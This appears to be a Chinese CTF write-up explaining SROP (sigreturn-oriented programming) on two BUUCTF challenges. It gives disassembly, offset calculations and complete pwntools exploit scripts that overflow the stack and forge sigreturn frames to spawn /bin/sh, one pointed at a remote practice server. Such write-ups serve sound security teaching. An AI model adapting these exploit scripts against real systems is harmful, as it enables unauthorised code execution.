SROP 链利用

1）BUUCTF-ciscn_2019_es_7(BABY_SROP)

1773720268999-cbe5f3af-bb00-44e8-bfef-51afef948f5b.png1773721500853-62fb5973-8d95-49c1-ab4d-42daaf76fee3.png

1773743203063-f72b3458-e74c-4e3c-9f20-704c2a25994c.png

发现这里 buf 是写在栈上的，我们需要自己去寻找栈上的地址

1773735477912-bbe5e514-23b2-4de7-a078-3e998e2b76dd.png

ubuntu18，先换一下 2.27 的 libc， 发现有很明显的系统调用以及栈溢出，觉得是 SROP

1773724490594-9a384f47-69cd-4405-b1d4-92bfbf5f6a64.png

我们知道 buf 的值是存入 rsi 的，我们可以通过 rsi 的变化去计算输入的东西压入栈后的偏移：1773737606380-a8ee6770-a258-4a91-9bbe-86a816f34d08.png

看一下初始的 RSI 值：

1773735552261-ebba6334-3171-4ba6-9008-74d71546dbd0.png

c 运行，之后输入 aaaa 去看一下 RSI，计算偏移： 0xe08 - 0xcf0 = 0x118

1773728004969-80206661-a5f2-4d5e-b390-944e447d7428.png

先明确思路，我们需要构造 execve(‘/bin/sh\x00, NULL, NULL’);

先尝试泄露输入的数据存入栈上的地址：先截取 32 位，再截取 8 位去获取栈上面的地址：

1
2
3
4
5
p.send(b'/bin/sh\x00' + b'a'*8 + p64(rax))
p.recv(32)
# gdb.attach(p)
stack_addr = u64(p.recv(8))
p.recv(8)
1773739759696-1dc1f7a2-c3cd-40ae-bc6d-387a03bd309d.png 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

p=process('./SROP1')
# p=remote('node5.buuoj.cn',27230)
context(arch='amd64',os='linux',log_level='debug')

syscall_ret = 0x400517
sigreturn_addr = 0x4004da
system_addr = 0x4004e2
rax = 0x4004ED

p.send(b'/bin/sh\x00' + b'a'*8 + p64(rax))
p.recv(32)
# gdb.attach(p)
stack_addr = u64(p.recv(8))
p.recv(8)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve  # 59 (0x3b)
sigframe.rdi = stack_addr - 0x118    # 指向 "/bin/sh\x00" 的地址
sigframe.rsi = 0x0                   # argv = NULL
sigframe.rdx = 0x0                   # envp = NULL
sigframe.rip = syscall_ret           # 最终要跳到的 syscall 指令地址

p.send(
    b'/bin/sh' + b'\x00'*9 +         
    p64(sigreturn_addr) +            # 函数返回时跳到 rt_sigreturn 系统调用15->execve
    p64(syscall_ret) +               # rt_sigreturn 恢复 rip 后会跳到这里,但通常被 sigframe.rip 覆盖
    bytes(sigframe)                  # 完整的伪造信号帧，rt_sigreturn 会从这里读取并恢复所有寄存器
)
p.interactive()

2）BUUCTF-rootersctf_2019_srop

1773741847092-1858262f-7e4e-4b04-8e0f-aaf3482e4a6a.png 1773741913556-c6d167c9-c878-4e30-8d02-7ef7f2a6e102.png 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use64
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing


; Attributes: bp-based frame

; signed __int64 sub_401000()
sub_401000 proc near

buf= byte ptr -80h

push    rbp
mov     rbp, rsp
sub     rsp, 40h
mov     eax, 1
mov     edi, 1          ; fd
lea     rsi, buf        ; "Hey, can i get some feedback for the CT"...
mov     edx, 2Ah ; '*'  ; count
syscall                 ; LINUX - sys_write
mov     edi, 0          ; fd
lea     rsi, [rsp+40h+buf] ; buf
mov     edx, 400h       ; count
push    0
pop     rax
syscall                 ; LINUX - sys_read
leave
retn
sub_401000 endp

没有 main 函数，

整体攻击思路：

  1. 第一次利用栈溢出 -> 构造 sigreturn 假帧 -> 让程序执行一次 read(0, buf, 0x400)
  2. 第二次把 /bin/sh\x00 + 新的帧写入到 buf 区域
  3. 触发第二次 sigreturn -> 执行 execve(“/bin/sh”, 0, 0)
1
2
3
4
5
6
7
8
9
10
11
12
13
[栈溢出]
     ↓
[SROP #1]
     ↓
read(0, .data, 0x400)
     ↓
你发送 payload2
     ↓
[.data里有：frame2 + "/bin/sh"]
     ↓
[SROP #2]
     ↓
execve("/bin/sh")
1773743237310-ee95d777-b04f-4a13-a005-fc219efdf5b7.png 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(os='linux',arch='amd64')
#p = process('./srop')
p = remote("node5.buuoj.cn",27402)
 
pop_rax_addr = 0x401032
syscall_addr = 0x401033
buf = 0x402000
frame = SigreturnFrame()
frame.rax = constants.SYS_read  # rax = 0
frame.rdi = 0                   # fd = stdin
frame.rsi = buf                 # 目标缓冲区
frame.rdx = 0x400               # 读取1024个字节
frame.rbp = buf                 # 随意设置的，方便后续栈迁移
frame.rip = syscall_addr        # 跳转到syscall; ret
 
 
payload = b'a' * (0x80 + 8) + p64(pop_rax_addr) + p64(15) + bytes(frame)
p.sendlineafter("CTF?\n", payload)
  • b’a’ * (0x80 + 8)：填充到返回地址（典型栈溢出偏移 0x88）
  • p64(poprax_addr) → p64(15)：把 rax 设成 15（对应 rt_sigreturn）自己构造 gadgets
  • 后面直接跟上伪造的 SigreturnFrame 结构体

当执行 rt_sigreturn（syscall nr=15）时，内核会把我们伪造的 frame 里的寄存器值恢复出来，于是：

  • rax ← 0（SYS_read）
  • rdi ← 0, rsi ← 0x402000, rdx ← 0x400
  • rip ← 0x401033（syscall; ret）

于是程序就执行了：

1
read(0, 0x402000, 1024);

之后继续利用 SROP 构造 execve(“/bin/sh”);

1
2
3
4
5
6
7
8
frame.rax = constants.SYS_execve    # rax = 59
frame.rdi = buf + 0x200             # "/bin/sh\x00" 的地址
frame.rsi = 0                       # argv = NULL
frame.rdx = 0                       # envp = NULL
frame.rip = syscall_addr            # 再次跳 syscall

payload2 = b'a' * 0x8 + p64(poprax_addr) + p64(15) + bytes(frame)
payload2 = payload2.ljust(0x200, b'a') + b'/bin/sh\x00'

b’a’ * 0x8：

  • 这里的 8 字节 不是整个 buffer，而是你之前 read 的数据中 覆盖返回地址前的填充。
  • 你第一次 read 写入了 0x400 字节，第二次 payload2 开始是对第一次写入内存中位置的覆盖。
  • 因为你的 SigreturnFrame 指定了 rbp = buf，所以栈顶偏移只需要 8 字节就能到返回地址

0x200 是随意规定的，只要 确保 /bin/sh\x00 位于 frame 后、并和 frame.rdi 对应 即可

总 exp：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(os='linux',arch='amd64')
p = process('./SROP2')
# p = remote("node5.buuoj.cn",27402 )
 
poprax_addr = 0x401032
syscall_addr = 0x401033
buf = 0x402000
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = buf
frame.rdx = 0x400
frame.rbp = buf
frame.rip = syscall_addr
 
payload = b'a' * (0x80 + 8) + p64(poprax_addr) + p64(15) + bytes(frame)
p.sendlineafter("CTF?\n", payload)
 
frame.rax = constants.SYS_execve
frame.rdi = buf + 0x200
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
 
payload2 = b'a' * 0x8 + p64(poprax_addr) + p64(15) + bytes(frame)
payload2 = payload2.ljust(0x200, b'a') + b'/bin/sh\x00'
p.sendline(payload2)
p.interactive()

根据两道题说一下 buf：

1773743203063-f72b3458-e74c-4e3c-9f20-704c2a25994c.png1773743237310-ee95d777-b04f-4a13-a005-fc219efdf5b7.png

两个 buf 虽然都是缓冲区，但是由于存放位置不同，导致一个需要泄露地址，一个不需要。

1）的 buf 在栈上，是函数 vuln 的局部变量，每次函数调用都会重新分配地址，不能写死。

2）的 buf 在.data 段，程序运行之前就已经写进去了，是固定的，是全局静态变量，不会变，可以写死。

更新: 2026-04-10 10:37:52
原文: https://www.yuque.com/idcm/wnemg9/gz84blqg6044m0yq